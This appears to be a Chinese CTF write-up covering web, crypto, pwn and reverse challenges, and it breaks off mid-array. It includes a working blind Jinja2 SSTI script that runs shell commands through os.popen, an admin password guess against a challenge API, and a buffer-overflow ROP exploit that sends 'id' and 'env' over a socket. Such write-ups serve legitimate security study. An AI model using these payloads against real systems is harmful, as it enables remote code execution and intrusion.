Web

N-Horse

打ssti盲注

GET /?username={{cycler.__init__.__globals__.os.popen('sleep 5').read()}}&password=1

Exp:

#!/usr/bin/env python3
import argparse
import string
import sys
import time
import requests
DEFAULT_CHARSET = "{}_-" + string.ascii_letters + string.digits
DEFAULT_CANDIDATE_PATHS = [
"/flag",
"/flag.txt",
"/app/flag",
"/app/flag.txt",
"/tmp/flag",
"/home/ctf/flag",
"/home/ctf/flag.txt",
]
classBlindSSTIExploit:
def__init__(self, base_url, delay, timeout, charset, proxy=None):
        self.base_url = base_url.rstrip("/") + "/"
        self.delay = delay
        self.timeout = timeout
        self.charset = charset
        self.session = requests.Session()
if proxy:
            self.session.proxies.update({"http": proxy, "https": proxy})
    @staticmethod
defbuild_payload(command):
        escaped = command.replace("\\", "\\\\").replace("'", "\\'")
return"{{cycler.__init__.__globals__.os.popen('%s').read()}}" % escaped
defrequest_time(self, payload):
        start = time.time()
try:
            self.session.get(
                self.base_url,
                params={"username": payload, "password": "1"},
                timeout=self.timeout,
            )
except requests.RequestException:
pass
return time.time() - start
deforacle(self, command, threshold=None):
        payload = self.build_payload(command)
        elapsed = self.request_time(payload)
        limit = threshold if threshold isnotNoneelse (self.delay - 0.5)
return elapsed > limit, elapsed
defconfirm_rce(self):
        ok, elapsed = self.oracle(f"sleep {self.delay}")
return ok, elapsed
deffind_flag_path(self, paths):
for path in paths:
            ok, elapsed = self.oracle(f"test -f {path} && sleep {self.delay}")
            print(f"[path] {path:<24} hit={ok} time={elapsed:.2f}s")
if ok:
return path
returnNone
defget_length(self, path, max_len):
for size in range(1, max_len + 1):
            ok, elapsed = self.oracle(
f"[ $(wc -c < {path}) -eq {size} ] && sleep {self.delay}"
            )
if ok:
                print(f"[len] {size} time={elapsed:.2f}s")
return size
returnNone
defextract_char(self, path, position):
for ch in self.charset:
            ok, elapsed = self.oracle(
f"[ \"$(cut -c{position}{path})\" = '{ch}' ] && sleep {self.delay}"
            )
if ok:
                print(f"[chr] pos={position:<2} char={ch!r} time={elapsed:.2f}s")
return ch
returnNone
defextract_value(self, path, length):
        value = []
for position in range(1, length + 1):
            ch = self.extract_char(path, position)
if ch isNone:
                print(f"[!] failed at position {position}", file=sys.stderr)
break
            value.append(ch)
            print(f"[cur] {''.join(value)}")
return"".join(value)
defparse_args():
    parser = argparse.ArgumentParser(
        description="Blind Jinja2 SSTI exploit for the N-Horse challenge."
    )
    parser.add_argument(
"-u",
"--url",
        default="http://114.66.24.221:32571/",
        help="Target base URL.",
    )
    parser.add_argument(
"-d",
"--delay",
        type=int,
        default=3,
        help="Sleep delay used by the time-based oracle.",
    )
    parser.add_argument(
"-t",
"--timeout",
        type=int,
        default=8,
        help="HTTP request timeout.",
    )
    parser.add_argument(
"-m",
"--max-len",
        type=int,
        default=80,
        help="Maximum flag length to probe.",
    )
    parser.add_argument(
"-c",
"--charset",
        default=DEFAULT_CHARSET,
        help="Character set for blind extraction.",
    )
    parser.add_argument(
"-p",
"--paths",
        nargs="*",
        default=DEFAULT_CANDIDATE_PATHS,
        help="Candidate flag paths.",
    )
    parser.add_argument(
"--proxy",
        help="Optional proxy URL, for example http://127.0.0.1:8080",
    )
return parser.parse_args()
defmain():
    args = parse_args()
    exploit = BlindSSTIExploit(
        base_url=args.url,
        delay=args.delay,
        timeout=args.timeout,
        charset=args.charset,
        proxy=args.proxy,
    )
    ok, elapsed = exploit.confirm_rce()
    print(f"[rce] confirmed={ok} time={elapsed:.2f}s")
ifnot ok:
        print("[!] RCE confirmation failed", file=sys.stderr)
        sys.exit(1)
    flag_path = exploit.find_flag_path(args.paths)
ifnot flag_path:
        print("[!] no candidate flag path matched", file=sys.stderr)
        sys.exit(1)
    print(f"[+] flag path: {flag_path}")
    length = exploit.get_length(flag_path, args.max_len)
ifnot length:
        print("[!] failed to determine flag length", file=sys.stderr)
        sys.exit(1)
    flag = exploit.extract_value(flag_path, length)
    print(f"[+] final flag: {flag}")
if __name__ == "__main__":
    main()
#python exp.py -u url

N-RustPICA

首页是一个典型 SPA，真正数据靠前端 JS 再去请求 API。

js源码里泄露了很多接口

这一步说明两件事：

1. 后台确实存在，不是纯前端假页面

2. 有一个旧流程模板接口 /api/admin/templates/review-flow

登录

默认用户名已经给了：anime_admin

然后针对 anime_admin 试少量强相关密码：

• anime_admin

• admin

• 123456

• purestream

• 站点/品牌名变体

关键命中是：

• 用户名：anime_admin

• 密码：purestream

登录后台，找到隐藏条目

拿着 Cookie 访问后台列表：

curl -b "nctf_admin_session=27506416-d601-4954-a5b1-be02eb9e1fd7" \
  http://114.66.24.221:32833/api/admin/anime

返回里可以看到一条公开页面没有的内部条目：

{
  "id":"anime-0007",
  "name":"内部审片 07",
  "status":"internal"
}

curl -b "nctf_admin_session=27506416-d601-4954-a5b1-be02eb9e1fd7" \
  http://114.66.24.221:32833/api/admin/anime/anime-0007

旧流程模板接口：

curl -b "nctf_admin_session=27506416-d601-4954-a5b1-be02eb9e1fd7" \
  http://114.66.24.221:32833/api/admin/templates/review-flow

这说明：

1. 后台仍然支持旧审核流程

2. 发布内部条目需要完整 JSON

3. 字段名、大小写、值格式都已经被泄露

直接拿模板去打状态迁移接口：

curl -b "nctf_admin_session=27506416-d601-4954-a5b1-be02eb9e1fd7" \
  -H "Content-Type: application/json" \
  -X POST \
  -d "{\"action\":\"publish\",\"targetStatus\":\"published\",\"reviewerToken\":\"FEATURE-REVIEW-2025\",\"featured\":false,\"approvalTicket\":\"PENDING-APPROVAL\"}" \
  http://114.66.24.221:32833/api/admin/anime/anime-0007/transition

exp

import requests
BASE = "http://114.66.24.221:32833"
USERNAME = "anime_admin"
PASSWORD = "purestream"
TARGET_ID = "anime-0007"
s = requests.Session()
def login():
    r = s.post(
        f"{BASE}/api/auth/login",
        json={"username": USERNAME, "password": PASSWORD},
        timeout=10,
    )
    print("[login]", r.status_code, r.text)
    r.raise_for_status()
def list_admin_anime():
    r = s.get(f"{BASE}/api/admin/anime", timeout=10)
    print("[admin list]", r.status_code)
    print(r.text)
    r.raise_for_status()
def get_template():
    r = s.get(f"{BASE}/api/admin/templates/review-flow", timeout=10)
    print("[template]", r.status_code)
    print(r.text)
    r.raise_for_status()
    return r.json()["data"]["payload"]
def publish_hidden_item(payload):
    r = s.post(
        f"{BASE}/api/admin/anime/{TARGET_ID}/transition",
        json=payload,
        timeout=10,
    )
    print("[transition]", r.status_code)
    print(r.text)
    r.raise_for_status()
    return r.json()["data"]
def fetch_public():
    r = s.get(f"{BASE}/api/anime/{TARGET_ID}", timeout=10)
    print("[public]", r.status_code)
    print(r.text)
    r.raise_for_status()
def main():
    login()
    list_admin_anime()
    payload = get_template()
    data = publish_hidden_item(payload)
    print("[flag]", data["description"])
    fetch_public()
if __name__ == "__main__":
    main()

Crypto:

RNG GAME

非预期，seed给你了，你传一个-seed就行

Encryption

有点难绷，看这个函数，很明显可以打pwn试试

前面输入用的gets(s)，写了个 strlen(s) <= 64 检查，经典x00 绕过，s 到返回地址的偏移是 0x3e8

payload = b"A\x00" + b"B" * (0x3e8 - 2) + rop_chain

rop打到puts(0x404120)，flag在env，ai写个脚本就行了

import socket
import sys
HOST = "114.66.24.221"
PORT = 45625
OFFSET = 0x3E8
RET = 0x401384
WIN = 0x401436
defrecv_until(sock: socket.socket, marker: bytes) -> bytes:
    data = b""
while marker notin data:
        chunk = sock.recv(4096)
ifnot chunk:
break
        data += chunk
return data
defp64(x: int) -> bytes:
return x.to_bytes(8, "little")
defbuild_payload() -> bytes:
    prefix = b"A\x00"
    body = b"B" * (OFFSET - len(prefix))
    chain = p64(RET) + p64(WIN)
return prefix + body + chain + b"\n"
defmain() -> None:
with socket.create_connection((HOST, PORT)) as sock:
        banner = recv_until(sock, b"Enter plaintext in chars (max 64 chars):")
        sys.stdout.buffer.write(banner)
        payload = build_payload()
        sock.sendall(payload)
        sock.sendall(b"id\n")
        sock.sendall(b"env\n")
        sock.sendall(b"exit\n")
        out = b""
whileTrue:
            chunk = sock.recv(4096)
ifnot chunk:
break
            out += chunk
        sys.stdout.buffer.write(out)
if __name__ == "__main__":
    main()

Hard_RSA

RSA 参数设计错误 / 连分数恢复私钥

【利用思路】

1. 读取题目给出的 N,e,c

2. 对 e / N^6 做连分数展开

3. 枚举收敛分数，取分母作为候选 d

4. 验证 pow(pow(2,e,N), d, N) == 2

5. 用恢复出的 d 解密：m = c^d mod N

from Crypto.Util.number import long_to_bytes
  N =
7491931416296662302678040939463573085135942396204215280467335969606230359294879222523795932572433201519389341189645828
5500680923291830113157053732353835717437056282529643649606999636042375356170625223068407005600597432512115745426297620
503763041544738664221739366981075762409535100379250338620618401995088237
  e =
1153824403638514961639818404863841074925611920439359070589802660868275288864817537092056019777218548066098732559309350
3235209882333675857851474205201766462432088073466850502595023973151957686582380596898621380931508465493173088358286330
9373723686304734918644860412520769285969343584540789781409990492019944165824625815300405767426485317259941101998781323
4114664637773067535840005971643704401304633224724285123598420799123703273039535358472884867922657292715197034394927723
3011029222764893685565282262244129049104632998451966637247546081307659293329283003511688745174518374510090612743167704
8635228709073140092528296564430074027966676751247853438866388663691773416941464827914578065911403270794793189044046310
3618123701557719705293537574753223327216241464106157844527314938761922953377602432457545712660924842168081526560420933
1736613532922579287990041668851687948185505555509004316267249966274661709732412666527915403908735414263189907258359187
5973448566342261418757933958097491430624847778317939143939884707606327061346526895306935081814341167557148974540052519
7644208375041516872450030549456915656444133514687363200447949063269742093913874380805034664126688718002946366424146524
5985156434076104118673576094970348315849796818522310872179048366579621238189976885338169261175873954385632163125064977
1030357257110672427660801480674245151183281118006855095936338551269908982677103650278164957043853181158383261830382128
3735624012787652232638988271174869139150027898591314583555691551090584707803956302609222508026439844685112862314576081
0617559782990517641712522695944468239392218993328870979897380758635248751632971297625794450375551655200515470812229951
5447476835290766731627959030431596313710392337334874777621376729257439721939577794752381362801045781355354034613981044
768946879601448500750228731652608416508751483139575431367276816127751324213761
  c =
4659710183444999541492771613628739079293726348549869560762261327498530391914809927737937049962561673944719228936095789
2792459785981292432370520768029645163669042553465834050214430965629198749117682681268121937191602353019996971164117733
452207322953311422907574742284390173017434719506924876701654539254320355
defcont_frac(n, d):
while d:
          a = n // d
yield a
          n, d = d, n - a * d
defconvergents(cf):
      p0, p1 = 0, 1
      q0, q1 = 1, 0
for a in cf:
          p0, p1 = p1, a * p1 + p0
          q0, q1 = q1, a * q1 + q0
yield p1, q1
for k, d in convergents(cont_frac(e, N**6)):
if d and pow(pow(2, e, N), d, N) == 2:
          print(long_to_bytes(pow(c, d, N)))
break

Reverse:

Pay For 2048

核心逻辑在app.asar里面，里面有个wasm，wasm2c wasm_core.wasm > 1.c转成c看看，flag校验是通过NCTF-XXXX-XXXX-XXXX这12位X校验的，自定义hash是0xFC97CA2F，hash逻辑是

functionrol(x, n) {
return ((x << n) | (x >>> (32 - n))) >>> 0;
  }
functioncheck(norm) {
let b = 4951 >>> 0;
for (let c = 0; c < norm.length; c++) {
const f = norm.charCodeAt(c) >>> 0;
const sel = (c & 1) ? 40503 : 17881;
const t1 = ((((sel + f) >>> 0) * (c + 11)) >>> 0 ^ rol(b, 3)) >>> 0;
const t2 = (((f << (c % 5)) >>> 0) ^ 0xA5A55A5A) >>> 0;
      b = (t1 + t2) >>> 0;
    }
return b === 0xFC97CA2F;
  }

unlock_flag 里用固定密文和 normalized_key + "|arcade::unlock-seed" 做按字节异或，固定字符串 "| arcade::unlock-seed" 直接出现在 rodata 中。flag是uuid格式，这样可以得到前五位必定是RU57W

那么枚举后6位爆hash就行了

key是NCTF-RU57-W45M-2048

调用wasm就能拿到flag NCTF{bff16266-c4f2-4dbb-b270-f5ded900b54c}

const fs = require('fs');
const bytes = fs.readFileSync('wasm_core.wasm');
(async () => {
const { instance } = await WebAssembly.instantiate(bytes, {});
const te = new TextEncoder();
const td = new TextDecoder();
functioncall(name, payload) {
const input = te.encode(JSON.stringify(payload));
const ptr = instance.exports.alloc(input.length);
let mem = newUint8Array(instance.exports.memory.buffer);
      mem.set(input, ptr);
const packed = BigInt(instance.exports[name](ptr, input.length));
      mem = newUint8Array(instance.exports.memory.buffer);
      instance.exports.free(ptr, input.length);
const outPtr = Number(packed & 0xffffffffn);
const outLen = Number((packed >> 32n) & 0xffffffffn);
const out = td.decode(mem.slice(outPtr, outPtr + outLen));
      instance.exports.free(outPtr, outLen);
returnJSON.parse(out);
    }
const key = 'NCTF-RU57-W45M-2048';
const verify = call('verify_license', {
      key,
score: 0,
steps: 0,
maxTile: 256,
board: Array(16).fill(0),
sessionToken: ''
    });
console.log('verify =', verify);
const unlock = call('unlock_flag', {
      key,
score: 0,
steps: 0,
maxTile: 2048,
board: Array(16).fill(0),
sessionToken: verify.data.sessionToken
    });
console.log('unlock =', unlock);
  })();

VM Encryptor

命令行程序，vm在偏移1270h，写了个vm解释器

#!/usr/bin/env python3
# -*- coding: utf-8 -*-
from __future__ import annotations
import argparse
from dataclasses import dataclass, field
from pathlib import Path
from typing import List
MEM_SIZE = 0x10000
STACK_SIZE = 0x1000
OPNAMES = {
0x00: "JMP",
0x01: "JZ",
0x02: "JNZ",
0x03: "PUSH8",
0x04: "PUSH32",
0x05: "LOAD8",
0x06: "LOAD32",
0x07: "POP",
0x08: "STORE8",
0x09: "STORE32",
0x0A: "ADD",
0x0B: "SUB",
0x0C: "MUL",
0x0D: "DIV",
0x0E: "MOD",
0x0F: "AND",
0x10: "OR",
0x11: "NOT",
0x12: "XOR",
0x13: "SHL",
0x14: "SHR",
0x15: "EQ",
0x16: "EQ2",
0x17: "NE",
0x18: "LT",
0x19: "GT",
0x1A: "LE",
0x1B: "GE",
0x1C: "DUP",
0x1D: "SWAP",
0x1E: "CALL",
0x1F: "RET",
0x20: "PRINT",
0xFF: "HALT",
}
defu32(v: int) -> int:
return v & 0xFFFFFFFF
defi32(v: int) -> int:
    v &= 0xFFFFFFFF
return v if v < 0x80000000else v - 0x100000000
defrd_u32(mem: bytearray, addr: int) -> int:
ifnot (0 <= addr <= 0xFFFC):
raise ValueError("mem oob")
return int.from_bytes(mem[addr : addr + 4], "little")
defwr_u32(mem: bytearray, addr: int, val: int) -> None:
ifnot (0 <= addr <= 0xFFFC):
raise ValueError("mem oob")
    mem[addr : addr + 4] = u32(val).to_bytes(4, "little")
defrd_imm32(mem: bytearray, ip: int) -> int:
if ip + 4 >= MEM_SIZE:
raise ValueError("ip oob")
return int.from_bytes(mem[ip + 1 : ip + 5], "little")
@dataclass
classVM:
    mem: bytearray = field(default_factory=lambda: bytearray(MEM_SIZE))
    stack: List[int] = field(default_factory=lambda: [0] * STACK_SIZE)
    ip: int = 0
    sp: int = 0
    running: int = 1
    error: int = 0
defpush(self, v: int):
if self.sp > 0xFFF:
            self.error, self.running = 2, 0
return
        self.stack[self.sp] = u32(v)
        self.sp += 1
defpop(self) -> int:
if self.sp == 0:
            self.error, self.running = 3, 0
return0
        self.sp -= 1
return self.stack[self.sp]
defbinop(self, fn):
if self.sp < 2:
            self.error, self.running = 3, 0
return
        b = self.pop()
        a = self.pop()
if self.error:
return
        self.push(fn(a, b))
defstep(self, trace=False):
if self.error ornot self.running:
return
        op = self.mem[self.ip]
if trace:
            top = self.stack[self.sp - 1] if self.sp elseNone
            print(f"ip={self.ip:04x} op={op:02x}{OPNAMES.get(op,'?')} sp={self.sp} top={top}")
try:
if op == 0x00:  # JMP imm32
                self.ip = rd_imm32(self.mem, self.ip)
elif op == 0x01:  # JZ imm32 (pop)
                dst = rd_imm32(self.mem, self.ip)
                self.ip += 5
                v = self.pop()
if self.error:
return
if v == 0:
                    self.ip = dst
elif op == 0x02:  # JNZ imm32 (pop)
                dst = rd_imm32(self.mem, self.ip)
                self.ip += 5
                v = self.pop()
if self.error:
return
if v != 0:
                    self.ip = dst
elif op == 0x03:  # PUSH8 imm8
                self.push(self.mem[self.ip + 1])
                self.ip += 2
elif op == 0x04:  # PUSH32 imm32
                self.push(rd_imm32(self.mem, self.ip))
                self.ip += 5
elif op == 0x05:  # LOAD8 [addr]
                addr = self.pop()
if self.error:
return
ifnot (0 <= addr <= 0xFFFF):
                    self.error, self.running = 4, 0
return
                self.push(self.mem[addr])
                self.ip += 1
elif op == 0x06:  # LOAD32 [addr]
                addr = self.pop()
if self.error:
return
                self.push(rd_u32(self.mem, addr))
                self.ip += 1
elif op == 0x07:  # POP
                _ = self.pop()
                self.ip += 1
elif op == 0x08:  # STORE8 [addr] = value
                addr = self.pop()
if self.error:
return
                val = self.pop()
if self.error:
return
ifnot (0 <= addr <= 0xFFFF):
                    self.error, self.running = 4, 0
return
                self.mem[addr] = val & 0xFF
                self.ip += 1
elif op == 0x09:  # STORE32 [addr] = value
                addr = self.pop()
if self.error:
return
                val = self.pop()
if self.error:
return
                wr_u32(self.mem, addr, val)
                self.ip += 1
elif op == 0x0A:
                self.binop(lambda a, b: a + b)
                self.ip += 1
elif op == 0x0B:
                self.binop(lambda a, b: a - b)
                self.ip += 1
elif op == 0x0C:
                self.binop(lambda a, b: a * b)
                self.ip += 1
elif op == 0x0D:  # DIV
if self.sp < 2:
                    self.error, self.running = 3, 0
return
                b = self.pop()
                a = self.pop()
if b == 0:
                    self.error, self.running = 5, 0
return
                self.push(i32(a) // i32(b))
                self.ip += 1
elif op == 0x0E:  # MOD
if self.sp < 2:
                    self.error, self.running = 3, 0
return
                b = self.pop()
                a = self.pop()
if b == 0:
                    self.error, self.running = 5, 0
return
                self.push(i32(a) % i32(b))
                self.ip += 1
elif op == 0x0F:
                self.binop(lambda a, b: a & b)
                self.ip += 1
elif op == 0x10:
                self.binop(lambda a, b: a | b)
                self.ip += 1
elif op == 0x11:
if self.sp < 1:
                    self.error, self.running = 3, 0
return
                self.stack[self.sp - 1] = u32(~self.stack[self.sp - 1])
                self.ip += 1
elif op == 0x12:
                self.binop(lambda a, b: a ^ b)
                self.ip += 1
elif op == 0x13:
                self.binop(lambda a, b: u32(a << (b & 0x1F)))
                self.ip += 1
elif op == 0x14:
                self.binop(lambda a, b: (a & 0xFFFFFFFF) >> (b & 0x1F))
                self.ip += 1
elif op in (0x15, 0x16):
                self.binop(lambda a, b: 1if a == b else0)
                self.ip += 1
elif op == 0x17:
                self.binop(lambda a, b: 1if a != b else0)
                self.ip += 1
elif op == 0x18:
                self.binop(lambda a, b: 1if i32(a) < i32(b) else0)
                self.ip += 1
elif op == 0x19:
                self.binop(lambda a, b: 1if i32(a) > i32(b) else0)
                self.ip += 1
elif op == 0x1A:
                self.binop(lambda a, b: 1if i32(a) <= i32(b) else0)
                self.ip += 1
elif op == 0x1B:
                self.binop(lambda a, b: 1if i32(a) >= i32(b) else0)
                self.ip += 1
elif op == 0x1C:  # DUP
if self.sp < 1:
                    self.error, self.running = 3, 0
return
                self.push(self.stack[self.sp - 1])
                self.ip += 1
elif op == 0x1D:  # SWAP
if self.sp < 2:
                    self.error, self.running = 3, 0
return
                self.stack[self.sp - 1], self.stack[self.sp - 2] = self.stack[self.sp - 2], self.stack[self.sp - 1]
                self.ip += 1
elif op == 0x1E:  # CALL imm32
                dst = rd_imm32(self.mem, self.ip)
                self.push(self.ip + 5)
if self.error:
return
                self.ip = dst
elif op == 0x1F:  # RET
                self.ip = self.pop()
elif op == 0x20:  # PRINT
                addr = self.pop()
if self.error:
return
ifnot (0 <= addr <= 0xFFFF):
                    self.error, self.running = 4, 0
return
                out = []
while addr < MEM_SIZE and self.mem[addr] != 0:
                    out.append(self.mem[addr])
                    addr += 1
if addr >= MEM_SIZE:
                    self.error, self.running = 4, 0
return
                print(bytes(out).decode("latin1", errors="replace"))
                self.ip += 1
elif op == 0xFF:  # HALT
                self.ip += 1
                self.running = 0
else:
                self.error, self.running = 1, 0
except ValueError:
            self.error, self.running = 4, 0
defrun(self, max_steps=5_000_000, trace=False):
        steps = 0
while self.running and self.error == 0:
            self.step(trace=trace)
            steps += 1
if steps >= max_steps:
                self.error, self.running = 6, 0
break
return steps
defdisasm(code: bytes, start=0, count=256):
    i = start
    end = min(len(code), start + count)
while i < end:
        op = code[i]
        name = OPNAMES.get(op, f"OP_{op:02X}")
if op in (0x00, 0x01, 0x02, 0x04, 0x1E):
if i + 5 <= len(code):
                imm = int.from_bytes(code[i + 1 : i + 5], "little")
                print(f"{i:06x}: {op:02x}{name:<7} 0x{imm:08x}")
else:
                print(f"{i:06x}: {op:02x}{name:<7} <truncated>")
            i += 5
elif op == 0x03:
            imm = code[i + 1] if i + 1 < len(code) else0
            print(f"{i:06x}: {op:02x}{name:<7} 0x{imm:02x}")
            i += 2
else:
            print(f"{i:06x}: {op:02x}{name}")
            i += 1
defmain():
    ap = argparse.ArgumentParser(description="vm-encryptor VM helper")
    ap.add_argument("code", help="path to code.bin")
    ap.add_argument("--flag", default="", help="inject flag at mem[0x1000]")
    ap.add_argument("--trace", action="store_true", help="trace each instruction")
    ap.add_argument("--max-steps", type=int, default=2_000_000)
    ap.add_argument("--disasm", action="store_true", help="disasm only")
    ap.add_argument("--start", type=lambda x: int(x, 0), default=0)
    ap.add_argument("--count", type=int, default=512)
    args = ap.parse_args()
    code = Path(args.code).read_bytes()
if args.disasm:
        disasm(code, start=args.start, count=args.count)
return
    vm = VM()
    vm.mem[: len(code)] = code
# 主程序会把用户输入复制到 VM 内存偏移 0x1000
    data = args.flag.encode("latin1", errors="ignore")[:42]
    vm.mem[0x1000 : 0x1000 + len(data)] = data
if0x1000 + len(data) < MEM_SIZE:
        vm.mem[0x1000 + len(data)] = 0
    steps = vm.run(max_steps=args.max_steps, trace=args.trace)
    print(f"\n[VM] steps={steps} halted={not vm.running} error={vm.error} ip=0x{vm.ip:08x} sp={vm.sp}")
if __name__ == "__main__":
    main()

然后分析code.bin，程序的核心验证逻辑是：将长为 42 字节的用户输入以每 3 字节（24 bits）为一组进行读取，经过三轮按位循环左移（ROL24）和对应的 XOR 运算后，将结果进行标准 Base64 编码，最后再把生成的 Base64 字符串逐字符与 0x63 进行异或，并同内置密文（275a0b080a3a090d30314c37023a120e542a4c302c3211270631563712264c3728325b375500481a0201112716004c372407113401365b27）比较。

Exp
import base64
defrotl24(v, amount):
    amount %= 24
return ((v << amount) | (v >> (24 - amount))) & 0xFFFFFF
defrotr24(v, amount):
    amount %= 24
return ((v >> amount) | (v << (24 - amount))) & 0xFFFFFF
defdecrypt_block(v_out):
    v = v_out
    v = rotr24(v, 20)
    v = v ^ 0x55757d
    v = rotr24(v, 11)
    v = v ^ 0x55757d
    v = rotr24(v, 5)
return v
defsolve():
    b64_str = 'D9hkiYjnSR/TaYqm7I/SOQrDeR5TqE/TKQ8T6c+yabrDuc/TGdrWbU8D'
    raw_bytes = base64.b64decode(b64_str)
    flag = bytearray()
for i in range(0, len(raw_bytes), 3):
        v_out = (raw_bytes[i] << 16) | (raw_bytes[i+1] << 8) | raw_bytes[i+2]
        v_in = decrypt_block(v_out)
        flag.append((v_in >> 16) & 0xFF)
        flag.append((v_in >> 8) & 0xFF)
        flag.append(v_in & 0xFF)
    print("Flag:", flag.decode('latin1', errors='replace'))
if __name__ == '__main__':
    solve()
# NCTF{1578be15-ad09-4859-9193-5d52585eb485}

No My Bank!

加密密钥d34bff62613fdd2861f6d5942c5e99a53ef3e90adbe9091b4686859d5b7dab22

可以提出来文件，分析

好像主要逻辑还在exe里面？

gd是游戏逻辑，校验主逻辑在dll，dump出来_libextension.dll，里面通过^ 0xBA解密了一段逻辑

是一个魔改base64 + 其中一个key为0x114514的xor，用这段逻辑解密题目的比较字符串然后替换三个字符成数字即可

EncFlag = [
0x2B, 0xF7, 0x67, 0x5E, 0x7C, 0x98, 0xED, 0x6D, 0xD1, 0x8C, 0xEF, 0x57,
0xBB, 0x33, 0x22, 0x7E, 0xB2, 0x1F, 0x34, 0x5B, 0x36, 0x6C, 0x2B, 0xAF,
0xBB, 0x5B, 0x12, 0xD6, 0x3C, 0x0A, 0x45, 0x27, 0x84, 0x6C, 0x47, 0xAB,
0x2F, 0x75, 0x78, 0x3E, 0x88, 0x89, 0x2D, 0x7A, 0xCD, 0x5C, 0xF6, 0xFA,
0x36, 0x73, 0xFF, 0x6E, 0xD3, 0x4C, 0x1C, 0x75,
]
ALPHABET = "ZYXWVUTSRQPONMLKJIHGFEDCBAzyxwvutsrqponmlkjihgfedcba9876543210+/"
SEED_INIT = 0x114514
LCG_MULTIPLIER = 0x01010193
LCG_INCREMENT = 0x12345678
defror8(value: int, count: int) -> int:
    count &= 7
return ((value >> count) | ((value << (8 - count)) & 0xFF)) & 0xFF
defundo_stream_transform(data: bytes) -> bytes:
    seed = SEED_INIT
    output = bytearray()
for index, value in enumerate(data):
        mask = (seed >> ((index * 8) % 24)) & 0xFF
        restored = ror8(value ^ 0xBA, 2) ^ mask
        output.append(restored)
        seed = (seed * LCG_MULTIPLIER + LCG_INCREMENT) & 0xFFFFFFFF
return bytes(output)
defunswap_quartets(data: bytes) -> bytes:
if len(data) % 4 != 0:
raise ValueError("encoded data length must be a multiple of 4")
    output = bytearray()
for index in range(0, len(data), 4):
        a, b, c, d = data[index:index + 4]
        output.extend((b, a, d, c))
return bytes(output)
defdecode_custom_base64(encoded: bytes) -> bytes:
    lookup = {ch: index for index, ch in enumerate(ALPHABET)}
    output = bytearray()
for index in range(0, len(encoded), 4):
        c1, c2, c3, c4 = (chr(byte) for byte in encoded[index:index + 4])
        v1 = lookup[c1]
        v2 = lookup[c2]
        v3 = 0if c3 == "="else lookup[c3]
        v4 = 0if c4 == "="else lookup[c4]
        output.append(((v1 << 2) | (v2 >> 4)) & 0xFF)
if c3 != "=":
            output.append((((v2 & 0x0F) << 4) | (v3 >> 2)) & 0xFF)
if c4 != "=":
            output.append((((v3 & 0x03) << 6) | v4) & 0xFF)
return bytes(output)
defrecover_flag(EncFlag: bytes) -> tuple[str, str, str]:
    swapped = undo_stream_transform(EncFlag)
    normal = unswap_quartets(swapped)
    raw_flag = decode_custom_base64(normal).decode("ascii")
    display_flag = raw_flag.replace("o", "0").replace("e", "3").replace("i", "1")
return swapped.decode("ascii"), raw_flag, display_flag
if __name__ == "__main__":
    swapped_text, raw_flag, display_flag = recover_flag(EncFlag)
    print(swapped_text)
    print(raw_flag)
    print(display_flag)

IDA_7ffc3254f000 = [0xf6, 0x33, 0xfe, 0x9e, 0xa2, 0xf2, 0x33, 0xee, 0x9e, 0xaa, 0xf2, 0x33, 0xf6, 0x9e, 0xb2, 0xf2, 0x3b, 0x56, 0xb2, 0xbb, 0xba, 0xba, 0x7c, 0xfe, 0x9e, 0x8a, 0x1f, 0x7c, 0xfe, 0x9e, 0x8b, 0x1c, 0x7c, 0xfe, 0x9e, 0x88, 0x1d, 0x7c, 0xfe, 0x9e, 0x89, 0x12, 0x7c, 0xfe, 0x9e, 0x8e, 0x13, 0x7c, 0xfe, 0x9e, 0x8f, 0x10, 0x7c, 0xfe, 0x9e, 0x8c, 0x11, 0x7c, 0xfe, 0x9e, 0x8d, 0x16, 0x7c, 0xfe, 0x9e, 0x82, 0x17, 0x7c, 0xfe, 0x9e, 0x83, 0x14, 0x7c, 0xfe, 0x9e, 0x80, 0x15, 0x7c, 0xfe, 0x9e, 0x81, 0xa, 0x7c, 0xfe, 0x9e, 0x86, 0xb, 0x7c, 0xfe, 0x9e, 0x87, 0x8, 0x7c, 0xfe, 0x9e, 0x84, 0x9, 0x7c, 0xfe, 0x9e, 0x85, 0xe, 0x7c, 0xfe, 0x9e, 0xfa, 0xf, 0x7c, 0xfe, 0x9e, 0xfb, 0xc, 0x7c, 0xfe, 0x9e, 0xf8, 0xd, 0x7c, 0xfe, 0x9e, 0xf9, 0x2, 0x7c, 0xfe, 0x9e, 0xfe, 0x3, 0x7c, 0xfe, 0x9e, 0xff, 0x0, 0x7c, 0xfe, 0x9e, 0xfc, 0x1, 0x7c, 0xfe, 0x9e, 0xfd, 0x6, 0x7c, 0xfe, 0x9e, 0xf2, 0x7, 0x7c, 0xfe, 0x9e, 0xf3, 0x4, 0x7c, 0xfe, 0x9e, 0xf0, 0x3f, 0x7c, 0xfe, 0x9e, 0xf1, 0x3c, 0x7c, 0xfe, 0x9e, 0xf6, 0x3d, 0x7c, 0xfe, 0x9e, 0xf7, 0x32, 0x7c, 0xfe, 0x9e, 0xf4, 0x33, 0x7c, 0xfe, 0x9e, 0xf5, 0x30, 0x7c, 0xfe, 0x9e, 0xea, 0x31, 0x7c, 0xfe, 0x9e, 0xeb, 0x36, 0x7c, 0xfe, 0x9e, 0xe8, 0x37, 0x7c, 0xfe, 0x9e, 0xe9, 0x34, 0x7c, 0xfe, 0x9e, 0xee, 0x35, 0x7c, 0xfe, 0x9e, 0xef, 0x2a, 0x7c, 0xfe, 0x9e, 0xec, 0x2b, 0x7c, 0xfe, 0x9e, 0xed, 0x28, 0x7c, 0xfe, 0x9e, 0xe2, 0x29, 0x7c, 0xfe, 0x9e, 0xe3, 0x2e, 0x7c, 0xfe, 0x9e, 0xe0, 0x2f, 0x7c, 0xfe, 0x9e, 0xe1, 0x2c, 0x7c, 0xfe, 0x9e, 0xe6, 0x2d, 0x7c, 0xfe, 0x9e, 0xe7, 0x22, 0x7c, 0xfe, 0x9e, 0xe4, 0x23, 0x7c, 0xfe, 0x9e, 0xe5, 0x20, 0x7c, 0xfe, 0x9e, 0xda, 0x21, 0x7c, 0xfe, 0x9e, 0xdb, 0x26, 0x7c, 0xfe, 0x9e, 0xd8, 0x27, 0x7c, 0xfe, 0x9e, 0xd9, 0x24, 0x7c, 0xfe, 0x9e, 0xde, 0x7c, 0x7c, 0xfe, 0x9e, 0xdf, 0x7d, 0x7c, 0xfe, 0x9e, 0xdc, 0x72, 0x7c, 0xfe, 0x9e, 0xdd, 0x73, 0x7c, 0xfe, 0x9e, 0xd2, 0x70, 0x7c, 0xfe, 0x9e, 